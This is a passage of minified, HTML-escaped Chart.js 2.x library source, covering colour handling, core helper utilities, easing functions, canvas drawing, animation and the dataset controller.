1!==values.alpha&amp;&amp;(vals.a=values.alpha),vals},Color.prototype.setValues=function(space,vals){var i,capped,values=this.values,spaces=this.spaces,maxes=this.maxes,alpha=1;if(this.valid=!0,&quot;alpha&quot;===space)alpha=vals;else if(vals.length)values[space]=vals.slice(0,space.length),alpha=vals[space.length];else if(void 0!==vals[space.charAt(0)]){for(i=0;i&lt;space.length;i++)values[space][i]=vals[space.charAt(i)];alpha=vals.a}else if(void 0!==vals[spaces[space][0]]){var chans=spaces[space];for(i=0;i&lt;space.length;i++)values[space][i]=vals[chans[i]];alpha=vals.alpha}if(values.alpha=Math.max(0,Math.min(1,void 0===alpha?values.alpha:alpha)),&quot;alpha&quot;===space)return!1;for(i=0;i&lt;space.length;i++)capped=Math.max(0,Math.min(maxes[space][i],values[space][i])),values[space][i]=Math.round(capped);for(var sname in spaces)sname!==space&amp;&amp;(values[sname]=colorConvert[space][sname](values[space]));return!0},Color.prototype.setSpace=function(space,args){var vals=args[0];return void 0===vals?this.getValues(space):(&quot;number&quot;==typeof vals&amp;&amp;(vals=Array.prototype.slice.call(args)),this.setValues(space,vals),this)},Color.prototype.setChannel=function(space,index,val){var svalues=this.values[space];return void 0===val?svalues[index]:(val===svalues[index]||(svalues[index]=val,this.setValues(space,svalues)),this)},&quot;undefined&quot;!=typeof window&amp;&amp;(window.Color=Color);var chartjsColor=Color;function isValidKey(key){return-1===[&quot;__proto__&quot;,&quot;prototype&quot;,&quot;constructor&quot;].indexOf(key)}var id,helpers={noop:function(){},uid:(id=0,function(){return id++}),isNullOrUndef:function(value){return null==value},isArray:function(value){if(Array.isArray&amp;&amp;Array.isArray(value))return!0;var type=Object.prototype.toString.call(value);return&quot;[object&quot;===type.substr(0,7)&amp;&amp;&quot;Array]&quot;===type.substr(-6)},isObject:function(value){return null!==value&amp;&amp;&quot;[object Object]&quot;===Object.prototype.toString.call(value)},isFinite:function(value){return(&quot;number&quot;==typeof value||value instanceof Number)&amp;&amp;isFinite(value)},valueOrDefault:function(value,defaultValue){return void 0===value?defaultValue:value},valueAtIndexOrDefault:function(value,index,defaultValue){return helpers.valueOrDefault(helpers.isArray(value)?value[index]:value,defaultValue)},callback:function(fn,args,thisArg){if(fn&amp;&amp;&quot;function&quot;==typeof fn.call)return fn.apply(thisArg,args)},each:function(loopable,fn,thisArg,reverse){var i,len,keys;if(helpers.isArray(loopable))if(len=loopable.length,reverse)for(i=len-1;i&gt;=0;i--)fn.call(thisArg,loopable[i],i);else for(i=0;i&lt;len;i++)fn.call(thisArg,loopable[i],i);else if(helpers.isObject(loopable))for(len=(keys=Object.keys(loopable)).length,i=0;i&lt;len;i++)fn.call(thisArg,loopable[keys[i]],keys[i])},arrayEquals:function(a0,a1){var i,ilen,v0,v1;if(!a0||!a1||a0.length!==a1.length)return!1;for(i=0,ilen=a0.length;i&lt;ilen;++i)if(v0=a0[i],v1=a1[i],v0 instanceof Array&amp;&amp;v1 instanceof Array){if(!helpers.arrayEquals(v0,v1))return!1}else if(v0!==v1)return!1;return!0},clone:function(source){if(helpers.isArray(source))return source.map(helpers.clone);if(helpers.isObject(source)){for(var target=Object.create(source),keys=Object.keys(source),klen=keys.length,k=0;k&lt;klen;++k)target[keys[k]]=helpers.clone(source[keys[k]]);return target}return source},_merger:function(key,target,source,options){if(isValidKey(key)){var tval=target[key],sval=source[key];helpers.isObject(tval)&amp;&amp;helpers.isObject(sval)?helpers.merge(tval,sval,options):target[key]=helpers.clone(sval)}},_mergerIf:function(key,target,source){if(isValidKey(key)){var tval=target[key],sval=source[key];helpers.isObject(tval)&amp;&amp;helpers.isObject(sval)?helpers.mergeIf(tval,sval):target.hasOwnProperty(key)||(target[key]=helpers.clone(sval))}},merge:function(target,source,options){var merge,i,keys,klen,k,sources=helpers.isArray(source)?source:[source],ilen=sources.length;if(!helpers.isObject(target))return target;for(merge=(options=options||{}).merger||helpers._merger,i=0;i&lt;ilen;++i)if(source=sources[i],helpers.isObject(source))for(k=0,klen=(keys=Object.keys(source)).length;k&lt;klen;++k)merge(keys[k],target,source,options);return target},mergeIf:function(target,source){return helpers.merge(target,source,{merger:helpers._mergerIf})},extend:Object.assign||function(target){return helpers.merge(target,[].slice.call(arguments,1),{merger:function(key,dst,src){dst[key]=src[key]}})},inherits:function(extensions){var me=this,ChartElement=extensions&amp;&amp;extensions.hasOwnProperty(&quot;constructor&quot;)?extensions.constructor:function(){return me.apply(this,arguments)},Surrogate=function(){this.constructor=ChartElement};return Surrogate.prototype=me.prototype,ChartElement.prototype=new Surrogate,ChartElement.extend=helpers.inherits,extensions&amp;&amp;helpers.extend(ChartElement.prototype,extensions),ChartElement.__super__=me.prototype,ChartElement},_deprecated:function(scope,value,previous,current){void 0!==value&amp;&amp;console.warn(scope+&#039;: &quot;&#039;+previous+&#039;&quot; is deprecated. Please use &quot;&#039;+current+&#039;&quot; instead&#039;)}},helpers_core=helpers;helpers.callCallback=helpers.callback,helpers.indexOf=function(array,item,fromIndex){return Array.prototype.indexOf.call(array,item,fromIndex)},helpers.getValueOrDefault=helpers.valueOrDefault,helpers.getValueAtIndexOrDefault=helpers.valueAtIndexOrDefault;var effects={linear:function(t){return t},easeInQuad:function(t){return t*t},easeOutQuad:function(t){return-t*(t-2)},easeInOutQuad:function(t){return(t/=.5)&lt;1?.5*t*t:-.5*(--t*(t-2)-1)},easeInCubic:function(t){return t*t*t},easeOutCubic:function(t){return(t-=1)*t*t+1},easeInOutCubic:function(t){return(t/=.5)&lt;1?.5*t*t*t:.5*((t-=2)*t*t+2)},easeInQuart:function(t){return t*t*t*t},easeOutQuart:function(t){return-((t-=1)*t*t*t-1)},easeInOutQuart:function(t){return(t/=.5)&lt;1?.5*t*t*t*t:-.5*((t-=2)*t*t*t-2)},easeInQuint:function(t){return t*t*t*t*t},easeOutQuint:function(t){return(t-=1)*t*t*t*t+1},easeInOutQuint:function(t){return(t/=.5)&lt;1?.5*t*t*t*t*t:.5*((t-=2)*t*t*t*t+2)},easeInSine:function(t){return 1-Math.cos(t*(Math.PI/2))},easeOutSine:function(t){return Math.sin(t*(Math.PI/2))},easeInOutSine:function(t){return-.5*(Math.cos(Math.PI*t)-1)},easeInExpo:function(t){return 0===t?0:Math.pow(2,10*(t-1))},easeOutExpo:function(t){return 1===t?1:1-Math.pow(2,-10*t)},easeInOutExpo:function(t){return 0===t?0:1===t?1:(t/=.5)&lt;1?.5*Math.pow(2,10*(t-1)):.5*(2-Math.pow(2,-10*--t))},easeInCirc:function(t){return t&gt;=1?t:-(Math.sqrt(1-t*t)-1)},easeOutCirc:function(t){return Math.sqrt(1-(t-=1)*t)},easeInOutCirc:function(t){return(t/=.5)&lt;1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)},easeInElastic:function(t){var s=1.70158,p=0,a=1;return 0===t?0:1===t?1:(p||(p=.3),a&lt;1?(a=1,s=p/4):s=p/(2*Math.PI)*Math.asin(1/a),-a*Math.pow(2,10*(t-=1))*Math.sin((t-s)*(2*Math.PI)/p))},easeOutElastic:function(t){var s=1.70158,p=0,a=1;return 0===t?0:1===t?1:(p||(p=.3),a&lt;1?(a=1,s=p/4):s=p/(2*Math.PI)*Math.asin(1/a),a*Math.pow(2,-10*t)*Math.sin((t-s)*(2*Math.PI)/p)+1)},easeInOutElastic:function(t){var s=1.70158,p=0,a=1;return 0===t?0:2==(t/=.5)?1:(p||(p=.45),a&lt;1?(a=1,s=p/4):s=p/(2*Math.PI)*Math.asin(1/a),t&lt;1?a*Math.pow(2,10*(t-=1))*Math.sin((t-s)*(2*Math.PI)/p)*-.5:a*Math.pow(2,-10*(t-=1))*Math.sin((t-s)*(2*Math.PI)/p)*.5+1)},easeInBack:function(t){var s=1.70158;return t*t*((s+1)*t-s)},easeOutBack:function(t){var s=1.70158;return(t-=1)*t*((s+1)*t+s)+1},easeInOutBack:function(t){var s=1.70158;return(t/=.5)&lt;1?t*t*((1+(s*=1.525))*t-s)*.5:.5*((t-=2)*t*((1+(s*=1.525))*t+s)+2)},easeInBounce:function(t){return 1-effects.easeOutBounce(1-t)},easeOutBounce:function(t){return t&lt;1/2.75?7.5625*t*t:t&lt;2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t&lt;2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375},easeInOutBounce:function(t){return t&lt;.5?.5*effects.easeInBounce(2*t):.5*effects.easeOutBounce(2*t-1)+.5}},helpers_easing={effects:effects};helpers_core.easingEffects=effects;var PI=Math.PI,RAD_PER_DEG=PI/180,DOUBLE_PI=2*PI,HALF_PI=PI/2,QUARTER_PI=PI/4,TWO_THIRDS_PI=2*PI/3,exports$1={clear:function(chart){chart.ctx.clearRect(0,0,chart.width,chart.height)},roundedRect:function(ctx,x,y,width,height,radius){if(radius){var r=Math.min(radius,height/2,width/2),left=x+r,top=y+r,right=x+width-r,bottom=y+height-r;ctx.moveTo(x,top),left&lt;right&amp;&amp;top&lt;bottom?(ctx.arc(left,top,r,-PI,-HALF_PI),ctx.arc(right,top,r,-HALF_PI,0),ctx.arc(right,bottom,r,0,HALF_PI),ctx.arc(left,bottom,r,HALF_PI,PI)):left&lt;right?(ctx.moveTo(left,y),ctx.arc(right,top,r,-HALF_PI,HALF_PI),ctx.arc(left,top,r,HALF_PI,PI+HALF_PI)):top&lt;bottom?(ctx.arc(left,top,r,-PI,0),ctx.arc(left,bottom,r,0,PI)):ctx.arc(left,top,r,-PI,PI),ctx.closePath(),ctx.moveTo(x,y)}else ctx.rect(x,y,width,height)},drawPoint:function(ctx,style,radius,x,y,rotation){var type,xOffset,yOffset,size,cornerRadius,rad=(rotation||0)*RAD_PER_DEG;if(style&amp;&amp;&quot;object&quot;==typeof style&amp;&amp;(&quot;[object HTMLImageElement]&quot;===(type=style.toString())||&quot;[object HTMLCanvasElement]&quot;===type))return ctx.save(),ctx.translate(x,y),ctx.rotate(rad),ctx.drawImage(style,-style.width/2,-style.height/2,style.width,style.height),void ctx.restore();if(!(isNaN(radius)||radius&lt;=0)){switch(ctx.beginPath(),style){default:ctx.arc(x,y,radius,0,DOUBLE_PI),ctx.closePath();break;case&quot;triangle&quot;:ctx.moveTo(x+Math.sin(rad)*radius,y-Math.cos(rad)*radius),rad+=TWO_THIRDS_PI,ctx.lineTo(x+Math.sin(rad)*radius,y-Math.cos(rad)*radius),rad+=TWO_THIRDS_PI,ctx.lineTo(x+Math.sin(rad)*radius,y-Math.cos(rad)*radius),ctx.closePath();break;case&quot;rectRounded&quot;:size=radius-(cornerRadius=.516*radius),xOffset=Math.cos(rad+QUARTER_PI)*size,yOffset=Math.sin(rad+QUARTER_PI)*size,ctx.arc(x-xOffset,y-yOffset,cornerRadius,rad-PI,rad-HALF_PI),ctx.arc(x+yOffset,y-xOffset,cornerRadius,rad-HALF_PI,rad),ctx.arc(x+xOffset,y+yOffset,cornerRadius,rad,rad+HALF_PI),ctx.arc(x-yOffset,y+xOffset,cornerRadius,rad+HALF_PI,rad+PI),ctx.closePath();break;case&quot;rect&quot;:if(!rotation){size=Math.SQRT1_2*radius,ctx.rect(x-size,y-size,2*size,2*size);break}rad+=QUARTER_PI;case&quot;rectRot&quot;:xOffset=Math.cos(rad)*radius,yOffset=Math.sin(rad)*radius,ctx.moveTo(x-xOffset,y-yOffset),ctx.lineTo(x+yOffset,y-xOffset),ctx.lineTo(x+xOffset,y+yOffset),ctx.lineTo(x-yOffset,y+xOffset),ctx.closePath();break;case&quot;crossRot&quot;:rad+=QUARTER_PI;case&quot;cross&quot;:xOffset=Math.cos(rad)*radius,yOffset=Math.sin(rad)*radius,ctx.moveTo(x-xOffset,y-yOffset),ctx.lineTo(x+xOffset,y+yOffset),ctx.moveTo(x+yOffset,y-xOffset),ctx.lineTo(x-yOffset,y+xOffset);break;case&quot;star&quot;:xOffset=Math.cos(rad)*radius,yOffset=Math.sin(rad)*radius,ctx.moveTo(x-xOffset,y-yOffset),ctx.lineTo(x+xOffset,y+yOffset),ctx.moveTo(x+yOffset,y-xOffset),ctx.lineTo(x-yOffset,y+xOffset),rad+=QUARTER_PI,xOffset=Math.cos(rad)*radius,yOffset=Math.sin(rad)*radius,ctx.moveTo(x-xOffset,y-yOffset),ctx.lineTo(x+xOffset,y+yOffset),ctx.moveTo(x+yOffset,y-xOffset),ctx.lineTo(x-yOffset,y+xOffset);break;case&quot;line&quot;:xOffset=Math.cos(rad)*radius,yOffset=Math.sin(rad)*radius,ctx.moveTo(x-xOffset,y-yOffset),ctx.lineTo(x+xOffset,y+yOffset);break;case&quot;dash&quot;:ctx.moveTo(x,y),ctx.lineTo(x+Math.cos(rad)*radius,y+Math.sin(rad)*radius)}ctx.fill(),ctx.stroke()}},_isPointInArea:function(point,area){return point.x&gt;area.left-1e-6&amp;&amp;point.x&lt;area.right+1e-6&amp;&amp;point.y&gt;area.top-1e-6&amp;&amp;point.y&lt;area.bottom+1e-6},clipArea:function(ctx,area){ctx.save(),ctx.beginPath(),ctx.rect(area.left,area.top,area.right-area.left,area.bottom-area.top),ctx.clip()},unclipArea:function(ctx){ctx.restore()},lineTo:function(ctx,previous,target,flip){var stepped=target.steppedLine;if(stepped){if(&quot;middle&quot;===stepped){var midpoint=(previous.x+target.x)/2;ctx.lineTo(midpoint,flip?target.y:previous.y),ctx.lineTo(midpoint,flip?previous.y:target.y)}else&quot;after&quot;===stepped&amp;&amp;!flip||&quot;after&quot;!==stepped&amp;&amp;flip?ctx.lineTo(previous.x,target.y):ctx.lineTo(target.x,previous.y);ctx.lineTo(target.x,target.y)}else target.tension?ctx.bezierCurveTo(flip?previous.controlPointPreviousX:previous.controlPointNextX,flip?previous.controlPointPreviousY:previous.controlPointNextY,flip?target.controlPointNextX:target.controlPointPreviousX,flip?target.controlPointNextY:target.controlPointPreviousY,target.x,target.y):ctx.lineTo(target.x,target.y)}},helpers_canvas=exports$1;helpers_core.clear=exports$1.clear,helpers_core.drawRoundedRectangle=function(ctx){ctx.beginPath(),exports$1.roundedRect.apply(exports$1,arguments)};var defaults={_set:function(scope,values){return helpers_core.merge(this[scope]||(this[scope]={}),values)}};defaults._set(&quot;global&quot;,{defaultColor:&quot;rgba(0,0,0,0.1)&quot;,defaultFontColor:&quot;#666&quot;,defaultFontFamily:&quot;&#039;Helvetica Neue&#039;, &#039;Helvetica&#039;, &#039;Arial&#039;, sans-serif&quot;,defaultFontSize:12,defaultFontStyle:&quot;normal&quot;,defaultLineHeight:1.2,showLines:!0});var core_defaults=defaults,valueOrDefault=helpers_core.valueOrDefault;var helpers_options={toLineHeight:function(value,size){var matches=(&quot;&quot;+value).match(/^(normal|(\d+(?:\.\d+)?)(px|em|%)?)$/);if(!matches||&quot;normal&quot;===matches[1])return 1.2*size;switch(value=+matches[2],matches[3]){case&quot;px&quot;:return value;case&quot;%&quot;:value/=100}return size*value},toPadding:function(value){var t,r,b,l;return helpers_core.isObject(value)?(t=+value.top||0,r=+value.right||0,b=+value.bottom||0,l=+value.left||0):t=r=b=l=+value||0,{top:t,right:r,bottom:b,left:l,height:t+b,width:l+r}},_parseFont:function(options){var globalDefaults=core_defaults.global,size=valueOrDefault(options.fontSize,globalDefaults.defaultFontSize),font={family:valueOrDefault(options.fontFamily,globalDefaults.defaultFontFamily),lineHeight:helpers_core.options.toLineHeight(valueOrDefault(options.lineHeight,globalDefaults.defaultLineHeight),size),size:size,style:valueOrDefault(options.fontStyle,globalDefaults.defaultFontStyle),weight:null,string:&quot;&quot;};return font.string=function(font){return!font||helpers_core.isNullOrUndef(font.size)||helpers_core.isNullOrUndef(font.family)?null:(font.style?font.style+&quot; &quot;:&quot;&quot;)+(font.weight?font.weight+&quot; &quot;:&quot;&quot;)+font.size+&quot;px &quot;+font.family}(font),font},resolve:function(inputs,context,index,info){var i,ilen,value,cacheable=!0;for(i=0,ilen=inputs.length;i&lt;ilen;++i)if(void 0!==(value=inputs[i])&amp;&amp;(void 0!==context&amp;&amp;&quot;function&quot;==typeof value&amp;&amp;(value=value(context),cacheable=!1),void 0!==index&amp;&amp;helpers_core.isArray(value)&amp;&amp;(value=value[index],cacheable=!1),void 0!==value))return info&amp;&amp;!cacheable&amp;&amp;(info.cacheable=!1),value}},exports$2={_factorize:function(value){var i,result=[],sqrt=Math.sqrt(value);for(i=1;i&lt;sqrt;i++)value%i==0&amp;&amp;(result.push(i),result.push(value/i));return sqrt===(0|sqrt)&amp;&amp;result.push(sqrt),result.sort((function(a,b){return a-b})).pop(),result},log10:Math.log10||function(x){var exponent=Math.log(x)*Math.LOG10E,powerOf10=Math.round(exponent);return x===Math.pow(10,powerOf10)?powerOf10:exponent}},helpers_math=exports$2;helpers_core.log10=exports$2.log10;var helpers_rtl={getRtlAdapter:function(rtl,rectX,width){return rtl?function(rectX,width){return{x:function(x){return rectX+rectX+width-x},setWidth:function(w){width=w},textAlign:function(align){return&quot;center&quot;===align?align:&quot;right&quot;===align?&quot;left&quot;:&quot;right&quot;},xPlus:function(x,value){return x-value},leftForLtr:function(x,itemWidth){return x-itemWidth}}}(rectX,width):{x:function(x){return x},setWidth:function(w){},textAlign:function(align){return align},xPlus:function(x,value){return x+value},leftForLtr:function(x,_itemWidth){return x}}},overrideTextDirection:function(ctx,direction){var style,original;&quot;ltr&quot;!==direction&amp;&amp;&quot;rtl&quot;!==direction||(original=[(style=ctx.canvas.style).getPropertyValue(&quot;direction&quot;),style.getPropertyPriority(&quot;direction&quot;)],style.setProperty(&quot;direction&quot;,direction,&quot;important&quot;),ctx.prevTextDirection=original)},restoreTextDirection:function(ctx){var original=ctx.prevTextDirection;void 0!==original&amp;&amp;(delete ctx.prevTextDirection,ctx.canvas.style.setProperty(&quot;direction&quot;,original[0],original[1]))}},helpers$1=helpers_core,easing=helpers_easing,canvas=helpers_canvas,options=helpers_options,math=helpers_math,rtl=helpers_rtl;helpers$1.easing=easing,helpers$1.canvas=canvas,helpers$1.options=options,helpers$1.math=math,helpers$1.rtl=rtl;var Element=function(configuration){helpers$1.extend(this,configuration),this.initialize.apply(this,arguments)};helpers$1.extend(Element.prototype,{_type:void 0,initialize:function(){this.hidden=!1},pivot:function(){var me=this;return me._view||(me._view=helpers$1.extend({},me._model)),me._start={},me},transition:function(ease){var me=this,model=me._model,start=me._start,view=me._view;return model&amp;&amp;1!==ease?(view||(view=me._view={}),start||(start=me._start={}),function(start,view,model,ease){var i,ilen,key,actual,origin,target,type,c0,c1,keys=Object.keys(model);for(i=0,ilen=keys.length;i&lt;ilen;++i)if(target=model[key=keys[i]],view.hasOwnProperty(key)||(view[key]=target),(actual=view[key])!==target&amp;&amp;&quot;_&quot;!==key[0]){if(start.hasOwnProperty(key)||(start[key]=actual),(type=typeof target)==typeof(origin=start[key]))if(&quot;string&quot;===type){if((c0=chartjsColor(origin)).valid&amp;&amp;(c1=chartjsColor(target)).valid){view[key]=c1.mix(c0,ease).rgbString();continue}}else if(helpers$1.isFinite(origin)&amp;&amp;helpers$1.isFinite(target)){view[key]=origin+(target-origin)*ease;continue}view[key]=target}}(start,view,model,ease),me):(me._view=helpers$1.extend({},model),me._start=null,me)},tooltipPosition:function(){return{x:this._model.x,y:this._model.y}},hasValue:function(){return helpers$1.isNumber(this._model.x)&amp;&amp;helpers$1.isNumber(this._model.y)}}),Element.extend=helpers$1.inherits;var core_element=Element,exports$3=core_element.extend({chart:null,currentStep:0,numSteps:60,easing:&quot;&quot;,render:null,onAnimationProgress:null,onAnimationComplete:null}),core_animation=exports$3;Object.defineProperty(exports$3.prototype,&quot;animationObject&quot;,{get:function(){return this}}),Object.defineProperty(exports$3.prototype,&quot;chartInstance&quot;,{get:function(){return this.chart},set:function(value){this.chart=value}}),core_defaults._set(&quot;global&quot;,{animation:{duration:1e3,easing:&quot;easeOutQuart&quot;,onProgress:helpers$1.noop,onComplete:helpers$1.noop}});var core_animations={animations:[],request:null,addAnimation:function(chart,animation,duration,lazy){var i,ilen,animations=this.animations;for(animation.chart=chart,animation.startTime=Date.now(),animation.duration=duration,lazy||(chart.animating=!0),i=0,ilen=animations.length;i&lt;ilen;++i)if(animations[i].chart===chart)return void(animations[i]=animation);animations.push(animation),1===animations.length&amp;&amp;this.requestAnimationFrame()},cancelAnimation:function(chart){var index=helpers$1.findIndex(this.animations,(function(animation){return animation.chart===chart}));-1!==index&amp;&amp;(this.animations.splice(index,1),chart.animating=!1)},requestAnimationFrame:function(){var me=this;null===me.request&amp;&amp;(me.request=helpers$1.requestAnimFrame.call(window,(function(){me.request=null,me.startDigest()})))},startDigest:function(){this.advance(),this.animations.length&gt;0&amp;&amp;this.requestAnimationFrame()},advance:function(){for(var animation,chart,numSteps,nextStep,animations=this.animations,i=0;i&lt;animations.length;)chart=(animation=animations[i]).chart,numSteps=animation.numSteps,nextStep=Math.floor((Date.now()-animation.startTime)/animation.duration*numSteps)+1,animation.currentStep=Math.min(nextStep,numSteps),helpers$1.callback(animation.render,[chart,animation],chart),helpers$1.callback(animation.onAnimationProgress,[animation],chart),animation.currentStep&gt;=numSteps?(helpers$1.callback(animation.onAnimationComplete,[animation],chart),chart.animating=!1,animations.splice(i,1)):++i}},resolve=helpers$1.options.resolve,arrayEvents=[&quot;push&quot;,&quot;pop&quot;,&quot;shift&quot;,&quot;splice&quot;,&quot;unshift&quot;];function unlistenArrayEvents(array,listener){var stub=array._chartjs;if(stub){var listeners=stub.listeners,index=listeners.indexOf(listener);-1!==index&amp;&amp;listeners.splice(index,1),listeners.length&gt;0||(arrayEvents.forEach((function(key){delete array[key]})),delete array._chartjs)}}var DatasetController=function(chart,datasetIndex){this.initialize(chart,datasetIndex)};helpers$1.extend(DatasetController.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:[&quot;backgroundColor&quot;,&quot;borderCapStyle&quot;,&quot;borderColor&quot;,&quot;borderDash&quot;,&quot;borderDashOffset&quot;,&quot;borderJoinStyle&quot;,&quot;borderWidth&quot;],_dataElementOptions:[&quot;backgroundColor&quot;,&quot;borderColor&quot;,&quot;borderWidth&quot;,&quot;pointStyle&quot;],initialize:function(chart,datasetIndex){var me=this;me.chart=chart,me.index=datasetIndex,me.linkScales(),me.addElements(),me._type=me.getMeta().type},updateIndex:function(datasetIndex){this.index=datasetIndex},linkScales:function(){var meta=this.getMeta(),chart=this.chart,scales=chart.scales,dataset=this.getDataset(),scalesOpts=chart.options.scales;null!==meta.xAxisID&amp;&amp;meta.xAxisID in scales&amp;&amp;!dataset.xAxisID||(meta.xAxisID=dataset.xAxisID||scalesOpts.xAxes[0].id),null!==meta.yAxisID&amp;&amp;meta.yAxisID in scales&amp;&amp;!dataset.yAxisID||(meta.yAxisID=dataset.yAxisID||scalesOpts.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(scaleID){return this.chart.scales[scaleID]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&amp;&amp;unlistenArrayEvents(this._data,this)},createMetaDataset:function(){var type=this.datasetElementType;return type&amp;&amp;new type({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(index){var type=this.dataElementType;return type&amp;&amp;new type({_chart:this.chart,_datasetIndex:this.index,_index:index})},addElements:function(){var i,ilen,meta=this.getMeta(),data=this.getDataset().data||[],metaData=meta.data;for(i=0,ilen=data.length;i&lt;ilen;++i)metaData[i]=metaData[i]||this.createMetaData(i);meta.dataset=meta.dataset||this.createMetaDataset()},addElementAndReset:function(index){var element=this.createMetaData(index);this.getMeta().data.splice(index,0,element),this.updateElement(element,index,!0)},buildOrUpdateElements:function(){var array,listener,me=this,dataset=me.getDataset(),data=dataset.data||(dataset.data=[]);me._data!==data&amp;&amp;(me._data&amp;&amp;unlistenArrayEvents(me._data,me),data&amp;&amp;Object.isExtensible(data)&amp;&amp;(listener=me,(array=data)._chartjs?array._chartjs.listeners.push(listener):(Object.defineProperty(array,&quot;_chartjs&quot;,{configurable:!0,enumerable:!1,value:{listeners:[listener]}}),arrayEvents.forEach((function(key){var method=&quot;onData&quot;+key.charAt(0).toUpperCase()+key.slice(1),base=array[key];Object.defineProperty(array,key,{configurable:!0,enumerable:!1,value:function(){var args=Array.prototype.slice.call(arguments),res=base.apply(this,args);return helpers$1.each(array._chartjs.listeners,(function(object){&quot;function&quot;==typeof object[method]&amp;&amp;object[method].apply(object,args)})),res}})})))),me._data=data),me.resyncElements()},_configure:function(){this._config=helpers$1.merge(Object.create(null),[this.chart.options.datasets[this._type],this.getDataset()],{merger:function(key,target,source){&quot;_meta&quot;!==key&amp;&amp;&quot;data&quot;!==key&amp;&amp;helpers$1._merger(key,target,source)}})},_update:function(reset){this._configure(),this._cachedDataOpts=null,this.update(reset)},update:helpers$1.noop,transition:function(easingValue){for(var meta=this.getMeta(),elements=meta.data||[],ilen=elements.length,i=0;i&lt;ilen;++i)elements[i].transition(easingValue);meta.dataset&amp;&amp;meta.dataset.transition(easingValue)},draw:function(){var meta=this.getMeta(),elements=meta.data||[],ilen=elements.length,i=0;for(meta.dataset&amp;&amp;meta.dataset.draw();i&lt;ilen;++i)elements[i].draw()},getStyle:function(index){var style,meta=this.getMeta(),dataset=meta.dataset;return this._configure(),dataset&amp;&amp;void 0===index?style=this._resolveDatasetElementOptions(dataset||{}):(index=index||0,style=this._resolveDataElementOptions(meta.data[index]||{},index)),!1!==style.fill&amp;&amp;null!==style.fill||(style.backgroundColor=style.borderColor),style},_resolveDatasetElementOptions:function(element,hover){var i,ilen,key,readKey,me=this,chart=me.chart,datasetOpts=me._config,custom=element.custom||{},options=chart.options.elements[me.datasetElementType.prototype._type]||{},elementOptions=me._datasetElementOptions,values={},context={chart:chart,dataset:me.getDataset(),datasetIndex:me.index,hover:hover};for(i=0,ilen=elementOptions.length;i&lt;ilen;++i)key=elementOptions[i],readKey=hover?&quot;hover&quot;+key.charAt(0).toUpperCase()+key.slice(1):key,values[key]=resolve([custom[readKey],datasetOpts[readKey],options[readKey]],context);return values},_resolveDataElementOptions:function(element,index){var me=this,custom=element&amp;&amp;element.custom,cached=me._cachedDataOpts;if(cached&amp;&amp;!custom)return cached;var keys,i,ilen,key,chart=me.chart,datasetOpts=me._config,options=chart.options.elements[me.dataElementType.prototype._type]||{},elementOptions=me._dataElementOptions,values={},context={chart:chart,dataIndex:index,dataset:me.getDataset(),datasetIndex:me.index},info={cacheable:!custom};if(custom=custom||{},helpers$1.isArray(elementOptions))for(i=0,ilen=elementOptions.length;i&lt;ilen;++i)values[key=elementOptions[i]]=resolve([custom[key],datasetOpts[key],options[key]],context,index,info);else for(i=0,ilen=(keys=Object.keys(elementOptions)).length;i&lt;ilen;++i)values[key=keys[i]]=resolve([custom[key],datasetOpts[elementOptions[key]],datasetOpts[key],options[key]],context,index,info);return info.cacheable&amp;&amp;(me._cachedDataOpts=Object.freeze(values)),values},removeHoverStyle:function(element){helpers$1.merge(element._model,element.$previousStyle||{}),delete element.$previousStyle},setHoverStyle:function(element){var dataset=this.chart.data.datasets[element._datasetIndex],index=element._index,custom=element.custom||{},model=element._model,getHoverColor=helpers$1.getHoverColor;element.$previousStyle={backgroundColor:model.backgroundColor,borderColor:model.borderColor,borderWidth:model.borderWidth},model.backgroundColor=resolve([custom.hoverBackgroundColor,dataset.hoverBackgroundColor,getHoverColor(model.backgroundColor)],void 0,index),model.borderColor=resolve([custom.hoverBorderColor,dataset.hoverBorderColor,getHoverColor(model.borderColor)],void 0,index),model.borderWidth=resolve([custom.hoverBorderWidth,dataset.hoverBorderWidth,model.borderWidth],void 0,index)},_removeDatasetHoverStyle:function(){var element=this.getMeta().dataset;element&amp;&amp;this.removeHoverStyle(element)},_setDatasetHoverStyle:function(){var i,ilen,key,keys,hoverOptions,model,element=this.getMeta().dataset,prev={};if(element){for(model=element._model,hoverOptions=this._resolveDatasetElementOptions(element,!0),i=0,ilen=(keys=Object.keys(hoverOptions)).length;i&lt;ilen;++i)prev[key=keys[i]]=model[key],model[key]=hoverOptions[key];element.$previousStyle=prev}},resyncElements:function(){var meta=this.getMeta(),data=this.getDataset().data,numMeta=meta.data.length,numData=data.length;numData&lt;numMeta?meta.data.splice(numData,numMeta-numData):numData&gt;numMeta&amp;&amp;this.insertElements(numMeta,numData-numMeta)},insertElements:function(start,count){for(var i=0;i&lt;count;++i)this.addElementAndReset(start+i)},onDataPush:function(){var count=arguments.length;this.insertElements(this.getDataset().data.length-count,count)},onDataPop:function(){this.getMeta().data.pop()},onDataShift:function(){this.getMeta().data.shift()},onDataSplice:function(start,count){this.getMeta().data.splice(start,count),this.insertElements(start,arguments.length-2)},onDataUnshift:function(){this.insertElements(0,arguments.length)}}),DatasetController.extend=helpers$1.inherits;var core_datasetController=DatasetController,TAU=2*Math.PI;function clipArc(ctx,arc){var startAngle=arc.startAngle,endAngle=arc.endAngle,pixelMargin=arc.pixelMargin,angleMargin=pixelMargin/arc.outerRadius,x=arc.x,y=arc.y;ctx.beginPath(),ctx.arc(x,y,arc.outerRadius,startAngle-angleMargin,endAngle+angleMargin),arc.innerRadius&gt;pixelMargin?(angleMargin=pixelMargin/arc.innerRadius,ctx.arc(x,y,arc.innerRadius-pixelMargin,endAngle+angleMargin,startAngle-angleMargin,!0)):ctx.arc(x,y,pixelMargin,endAngle+Math.PI/2,startAngle-Math.PI/2),ctx.closePath(),ctx.clip()}function drawBorder(ctx,vm,arc){var 